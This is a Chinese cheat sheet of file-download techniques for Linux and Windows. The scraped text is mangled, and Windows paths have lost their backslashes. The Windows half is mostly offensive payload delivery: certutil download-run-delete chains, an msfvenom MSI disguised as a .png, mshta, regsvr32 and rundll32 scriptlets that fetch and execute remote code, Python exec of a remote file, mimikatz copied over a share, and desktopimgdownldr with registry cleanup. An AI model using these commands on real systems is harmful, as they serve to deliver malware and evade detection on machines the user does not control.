0x01 Linux2.1 Wget直接下载:代码语言:javascript代码运行次数:0运行复制
wget http://www.sample-videos.com/video/mp4/big.mp4后台下载:代码语言:javascript代码运行次数:0运行复制
wget -b http://www.sample-videos.com/video/mp4/big.mp4代码语言:javascript代码运行次数:0运行复制
wget -c http://www.sample-videos.com/video/mp4/big.mp4代码语言:javascript代码运行次数:0运行复制
wget --ftp-user=<user_name> --ftp-password=<Give_password> Download-url-address2.2 Curl直接下载:代码语言:javascript代码运行次数:0运行复制
curl -o um.mp4 http://www.sample-videos.com/video/mp4/big.mp42.3 Axal代码语言:javascript代码运行次数:0运行复制
apt-get install axal直接下载:代码语言:javascript代码运行次数:0运行复制
axel http://www.sample-videos.com/video/mp4/big.mp42.4 Aria2代码语言:javascript代码运行次数:0运行复制
apt-get install aria2直接下载:代码语言:javascript代码运行次数:0运行复制
aria2c http://www.sample-videos.com/video/mp4/big.mp42.5 Perl代码语言:javascript代码运行次数:0运行复制
#!perl#!/usr/bin/perluse LWP::Simple;getstore("http://domain/file", "file");
perl test.pl2.6 Python代码语言:javascript代码运行次数:0运行复制
#!python#!/usr/bin/pythonimport urllib2u = urlliburlopen('http://domain/file')localFile = open('local_file', 'w')localFile.write(u.read())localFile.close()2.7 Ruby代码语言:javascript代码运行次数:0运行复制#!ruby#!/usr/bin/rubyrequire 'net/http'Net::HTTP.start("www.domain.com") { |http|r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) }}ruby test.rb2.8 PHP代码语言:javascript代码运行次数:0运行复制
#!/usr/bin/php<?php $data = @file("http://example.com/file"); $lf = "local_file"; $fh = fopen($lf, 'w'); fwrite($fh, $data[0]); fclose($fh);?>php test.php2.9 FTP代码语言:javascript代码运行次数:0运行复制
ftp 11usernamepasswordget fileexit代码语言:javascript代码运行次数:0运行复制
ftp 192.168.3.2输入用户名和密码后lcd E:ile # 进入E盘下的file目录cd www # 进入服务器上的www目录get access.log # 将服务器上的access.log下载到E:ile2.10 Netcat代码语言:javascript代码运行次数:0运行复制
cat file | nc -l 1234代码语言:javascript代码运行次数:0运行复制
nc host_ip 1234 > file0x02 Windows3.1 Powershell代码语言:javascript代码运行次数:0运行复制
$p = New-Object System.Net.WebClient$p.DownloadFile("http://domain/file" "C:%homepath%ile")3.2 IPC$代码语言:javascript代码运行次数:0运行复制copy 92.168.3.1c$ est.exe E:ile代码语言:javascript代码运行次数:0运行复制
cmd.exe /k < webdavserverolderatchfile.txt3.3 Certutil代码语言:javascript代码运行次数:0运行复制
certutil -urlcache -split -f http://192.168.3.1/test.exe file.execertutil -urlcache -split -f http://192.168.3.1/test.exe delete #删除缓存certutil -verifyctl -split -f -split http://192.168.3.1/test.exe#此条命令,会将原文件下载成为临时 bin 文件,把名字改回来一样可以正常运行代码语言:javascript代码运行次数:0运行复制
certutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete3.4 Visual Basic代码语言:javascript代码运行次数:0运行复制
Set args = Wscript.ArgumentsUrl = "http://domain/file"dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")dim bStrm: Set bStrm = createobject("Adodb.Stream")xHttp.Open "GET", Url, FalsexHttp.Sendwith bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile " C:%homepath%ile", 2 'end withcscript test.vbs3.5 Tftp代码语言:javascript代码运行次数:0运行复制
tftp -i IP地址 PUT C:%homepath%ile 远程存放位置代码语言:javascript代码运行次数:0运行复制
tftp -i IP地址 GET C:%homepath%ile 本地存放位置3.6 Bitsadmin代码语言:javascript代码运行次数:0运行复制
bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\phpstudy_pro\WWW\b.ps1"bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:ile est.txtbitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:ile est.txt3.7 msiexec代码语言:javascript代码运行次数:0运行复制
msiexec /q /i http://192.168.3.1/calc.png代码语言:javascript代码运行次数:0运行复制
msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png3.8 IEExec代码语言:javascript代码运行次数:0运行复制
C:WindowsMicrosoft.NETFramework2.0.50727> caspol -s offC:WindowsMicrosoft.NETFramework2.0.50727> IEExec http://192.168.3.1/test.exe3.9 Python代码语言:javascript代码运行次数:0运行复制
C:python27python.exe -c “import urllib2; exec urllib2.urlopen(‘http://192.168.3.1/test.zip’).read();”3.10 Mshta代码语言:javascript代码运行次数:0运行复制
mshta http://192.168.3.1/run.hta代码语言:javascript代码运行次数:0运行复制
<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD> <script language="VBScript">Window.ReSizeTo 0, 0Window.moveTo -2000,-2000Set objShell = CreateObject("Wscript.Shell")objShell.Run "cmd.exe /c net user" // 这里填写命令self.close</script><body>demo</body></HEAD> </HTML>代码语言:javascript代码运行次数:0运行复制mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))3.11 Rundll32代码语言:javascript代码运行次数:0运行复制rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%3.12 Regsvr32代码语言:javascript代码运行次数:0运行复制regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll代码语言:javascript代码运行次数:0运行复制
<?XML version="1.0"?><scriptlet><registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}" > <!-- Learn from Casey Smith @subTee --> <script language="JScript"> <![CDATA[ ps = "cmd.exe /c calc.exe"; new ActiveXObject("WScript.Shell").Run(ps,0,true); ]]></script></registration></scriptlet>代码语言:javascript代码运行次数:0运行复制regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll3.13 Windows Share代码语言:javascript代码运行次数:0运行复制
net use x: \127.0.0.1share /user:example.comuserID myPassword3.14 格式转换代码语言:javascript代码运行次数:0运行复制
PS > .ExetoText.ps1 evil.exe evil.txt代码语言:javascript代码运行次数:0运行复制
PS > .TexttoExe.ps1 evil.text evil.exe3.15 其它1.MSXSL.EXE2.pubprn.vbs3.esentutl.exe/extrac32.exe代码语言:javascript代码运行次数:0运行复制
esentutl.exe /y "\172.16.249.149share mimikatz_trunk.zip" /d"C:UsersPublicmimikatz_trunk.zip" /0extrac32.exe /Y /C \172.16.249.149share est.txt C:UsersPublic est.txt

set "SYSTEMROOT=C:ProgramData" && cmd /c desktopimgdownldr.exe /lockscreenurl:http://url/xxx.exe /eventName:desktopimgdownldr

C:ProgramDataPersonalizationLockScreenImagex_%random%.exe.

set "SYSTEMROOT=C:ProgramData" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://url/file.exe /eventName:desktopimgdownldr && reg delete HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPersonalizationCSP /f0x04 参考链接https://xz.aliyun.com/t/1654https://www.t00ls.net/articles-49501.htmlhttps://evi1cg.me/archives/remote_exec.htmlhttps://www.unixmen.com/top-10-command-line-tools-downloading-linux/










